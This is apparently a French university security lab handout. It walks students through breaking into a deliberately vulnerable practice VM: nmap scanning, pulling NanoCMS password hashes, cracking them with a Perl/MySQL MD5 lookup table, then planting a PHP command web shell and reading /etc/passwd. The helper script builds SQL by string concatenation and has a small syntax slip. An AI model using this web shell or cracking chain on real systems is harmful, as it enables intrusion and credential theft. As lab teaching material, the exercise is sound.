Université Pierre Mendès France
U.F.R. Sciences de l'Homme et de la Société
Master MIASHS – DCISS – WIC

TP n°2

TP à réaliser sous linux, se connecter sous le login ***courssecu*** mot de passe ***masteric2a***.

Le but du TP est de montrer comment on peut exploiter une faille de sécurité pour s'introduire dans un environnement. Le TP permet de faire le lien entre différents aspects du cours. Nous allons créer une base de données MySQL contenant des mots de passe souvent utilisés, ainsi que leur codage MD5. Pour la construire nous utiliserons un programme Perl. Nous réaliserons un second programme qui permet de l'interroger.
Pour réaliser ce TP il faut utiliser les machines virtuelles (images VMware) suivantes situées dans le répertoire VMs :

- LAMPSecurity : machine virtuelle basée sur Linux CentOS (LAMPSec.vmx répertoire lampsec), machine de laquelle nous réaliserons l'attaque ;
- CTF 5 : machine virtuelle comportant une vulnérabilité (CTF5.vmx répertoire CTF5)

1. Démarrage des machines virtuelles

Commencez par lancer les 2 machines virtuelles (ne pas télécharger les logiciels et mises à jour proposés). Connectez vous à la machine Lampsec avec le login **lampsec**, mot de passe **lampsec**. Attention vous êtes en qwerty !
Ouvrez une fenêtre de terminal et passez en clavier azerty par la commande `setxkbmap fr`

2. Création d'une base de données MySQL de mots codés en MD5

Il faut être administrateur pour créer la base de données. Passez en mode administrateur (commande su), même mot de passe.

a) Installez mysql server :
`yum install mysql-server`
répondez **y** à la question posée

b) Lancez le serveur mysql par la commande:
`/etc/rc.d/init.d/mysqld start`

c) Quittez le mode administrateur: `exit`

Maintenant que MySQL est démarré, nous devons créer la nouvelle base de données qui sera nommée rainbow. Nous allons utiliser l'accès à MySQL par lignes de commandes :

```
mysql -u root
```

```
mysql> create database rainbow;
```

```
mysql> use rainbow;
```

Création de la table (mot en clair, mot codé MD5) :

```
mysql> create table hash (hash_word varchar(100), hash_hash varchar(32));
```

Vérifiez que la table a été créée correctement par la commande :

```
mysql> desc hash;
```

Puis quitter MySQL
```
mysql> quit
```

3. Remplissage de la base de données

Copiez le fichier des mots de passe fréquemment utilisés dans votre home directory :
```
cp wordlists/dic-0294.txt words.txt
```

Nous allons maintenant écrire un script Perl qui va lire la liste de mots et les enregistrer dans la base de données, avec leur codage MD5 calculé par le script suivant (md5ini.pl) à créer dans le home directory de votre machine virtuelle :

md5ini.pl

```
#!/usr/bin/perl

use Digest::MD5 qw(md5 md5_hex md5_base64);
use DBI;

my $dbh = DBI->connect('DBI:mysql:rainbow','root','') ||
                  die "La connexion a la BD a echoue : $DBI::errstr";

open(FILE, 'words.txt') || die('Ouverture impossible du fichier words.txt');
while(<FILE>) {
  my $data;
  chomp ($data = $_);
  $data =~ s/\r\n?//g;
  $hash = md5_hex $data;
  $data =~ s/'/''/g;
  my @vals = ($data, $hash);
  my $sth = $dbh->prepare("INSERT INTO hash (hash_word,hash_hash) VALUES (?,?)");
  $sth->execute(@vals) || die "Echec insertion ! $DBI::errstr";
}
close(FILE);
$dbh->disconnect();
```

Chargez les fichiers md5ini.pl et md5.pl sur la machine virtuelle par firefox.

Une fois le fichier md5ini.pl présents dans votre home directory, lancez son exécution (prend du temps):
```
perl md5ini.pl
```

Vous ne devriez pas avoir de message d'erreur.

Vérifiez tout de même que la base de données rainbow a bien été créée :
```
mysql -u root rainbow
```
```
mysql> select * from hash where hash_word = 'pacific';
```

Vous devez obtenir la réponse suivante :
```
+-----------+----------------------------------+
| hash_word | hash_hash |
+-----------+----------------------------------+
| pacific | b154356eddac45e2b8af33c5ed24028c |
+-----------+----------------------------------+
1 row in set (x.yy sec)
```

Quittez mySQL.

3. **Attaque**

Assurez-vous dans les paramètres de la machine virtuelle (menu *Virtual machine*, option Virtual machine settings) que la carte réseau est en mode de connexion « Host-only ». Si ce n'est pas le cas, positionnez cette option et redémarrez la machine virtuelle (menu Virtual machine, power > reset).

Si vous avez dû relancer la machine lampsec, il faudra redémarrer mySQL en tant qu'administrateur par :

```
/etc/rc.d/init.d/mysqld start
```

Puis quitter le mode administrateur.

Nous allons rechercher la cible dans le réseau.
Dans un premier temps identifiez le réseau dans lequel se trouve la machine lampsec :
`/sbin/ifconfig`

Nous allons rechercher notre cible (la machine CTF5) à l'aide de l'outil **nmap**.

Nmap est un scanner de ports libre (http://nmap.org). Il est conçu pour détecter les ports ouverts, identifier les services hébergés et obtenir des informations sur le système d'exploitation d'un ordinateur distant. Ce logiciel est devenu une référence pour les administrateurs réseaux car l'audit des résultats de Nmap fournit des indications sur la sécurité d'un réseau. Pour scanner les ports d'un ordinateur distant, Nmap utilise diverses techniques d'analyse qui s'appuient sur des protocoles tels que TCP, IP, UDP ou ICMP. De même, il se fonde sur les réponses qu'il obtient à des requêtes particulières pour obtenir une empreinte de la pile IP, souvent propre au système qui l'utilise. C'est par cette méthode qu'il peut reconnaitre la version d'un système d'exploitation ainsi que la version des services (daemons) en écoute.

Effectuez le scan du réseau de machines virtuelles :
`nmap –F 192.168.xxx.1-254` (xxx représente le n° du réseau des machines virtuelles)

Vous devez trouver une machine dont le port 80 est ouvert. C'est notre cible.
Pour en savoir plus sur la machine, passez en mode administrateursu et faites la commande :
`nmap -sV -O -PN 192.168.xxx.yyy` (n°IP de la cible)

La réponse est longue à arriver… après obtention de la réponse quittez le mode administrateur.

Observez les informations fournies par nmap. Vous noterez que la mac adresse est clairement identifiée comme une adresse VMWare, ainsi que l'OS (linux 2.6)

Recherche de la faille

Sur la machine lampsec lancez firefox et connectez-vous au site web de la cible et explorez-le. Prêtez une attention particulière à l'emplacement des formulaires ainsi que les conventions utilisées dans les URL. L'URL peut indiquer quelles sortes de variables ou de fonctions sont exécutées dans la base de code PHP sous-jacente.

Sur la page blog, le premier élément intéressant est l'adresse ~andy
Il s'agit de la dénotation utilisée par Apache lorsque les utilisateurs ont des pages web accessibles directement dans leur répertoire personnel. Il semble que l'un des utilisateurs du système (Andy) ait mis en place un site web. En regardant le site, il est assez facile de déterminer le type de logiciel en utilisé par ce site : *powered by NanoCMS*

Essayez de chercher sur le web s'il existe une faille pour NanoCMS.
On trouve par exemple :

Title:	NanoCMS '/data/pagesdata.txt' Password Hash Information Disclosure Vulnerability
Summary:	Determine if NanoCMS is vulnerable to Password Hash Information Disclosure
Description:	Overview: NanoCMS is prone to an information-disclosure vulnerability because it fails to validate access to sensitive files. An attacker can exploit this vulnerability to obtain sensitive information that may lead to further attacks. NanoCMS 0.4_final is vulnerable other versions may also be affected.

Affichez la page : `http://192.168.xxx.yyy/~andy/data/pagesdata.txt`

Qu'est-ce que l'on y trouve d'intéressant ?

Il s'y trouve un Hash code que nous allons essayer de décoder grâce à notre base de données.

Voici un la commande perl (md5.pl) permettant d'interroger et d'enrichir la base de données rainbow :

md5.pl

```
#!/usr/bin/perl
use Digest::MD5 qw(md5 md5_hex md5_base64);
use DBI;
use Getopt::Long;

my %options;
my $crypt = -1;
GetOptions(\%options,
           "crypt" => \$crypt,
           "decrypt" => sub { $crypt = 0 },
          "string=s");

if ($crypt == -1 || !defined($options{'string'})) {
  print "options manquantes\n"
  exit 1;
}
my $dbh = DBI->connect('DBI:mysql:rainbow','root','') || die "La connexion a la BD a
echoue : $DBI::errstr";
if ($crypt) {
  my $sth = $dbh->prepare("SELECT hash_hash FROM hash WHERE
hash_word='".$options{'string'}."' collate latin1_bin");
  my $res = $sth->execute;
  my $row = $sth->fetchrow_hashref;
  printf("hash = %s\n",$row->{hash_hash});
}
else {
  my $sth = $dbh->prepare("SELECT hash_word FROM hash WHERE
hash_hash='".$options{'string'}."'");
  my $res = $sth->execute;
  my $row = $sth->fetchrow_hashref;
  printf("word = %s\n",$row->{hash_word});
}
```

Cette commande s'utilise de la façon suivante pour calculer, afficher et enregistrer dans la base de données le cryptage MD5 de jojo :

```
perl md5.pl –crypt –s jojo
hash = 7510d498f23f5815d3376ea7bad64e29
```

Pour décrypter un hashcode MD5 procède comme suit :

```
perl md5.pl –decrypt –s 7510d498f23f5815d3376ea7bad64e29
word = jojo
```

Il ne vous reste plus qu'à exploiter ce programme pour trouver le mode de passe de l'administrateur et de pénétrer dans ce CMS en tant qu'administrateur !

Après être entré dans le CMS :

Créez une nouvelle page nommée `backdoor` contenant simplement la commande php suivante :

```
<?php system($_GET['cmd']);?>
```

Allez ensuite à cette page :

`http://192.168.xxx.yyy/~andy/index.php?page=backdoor`

concaténez la chaine suivante à l'URL : `&cmd=pwd`

`http://192.168.xxx.yyy/~andy/index.php?page=backdoor&cmd=pwd`

de la même manière testez les commandes suivantes :

```
&cmd=whoami
&cmd=cat /etc/redhat-release
&cmd=ls -lah /var/www/html
&cmd=cat /etc/passwd
```

Voilà, vous êtes de vrais pirates !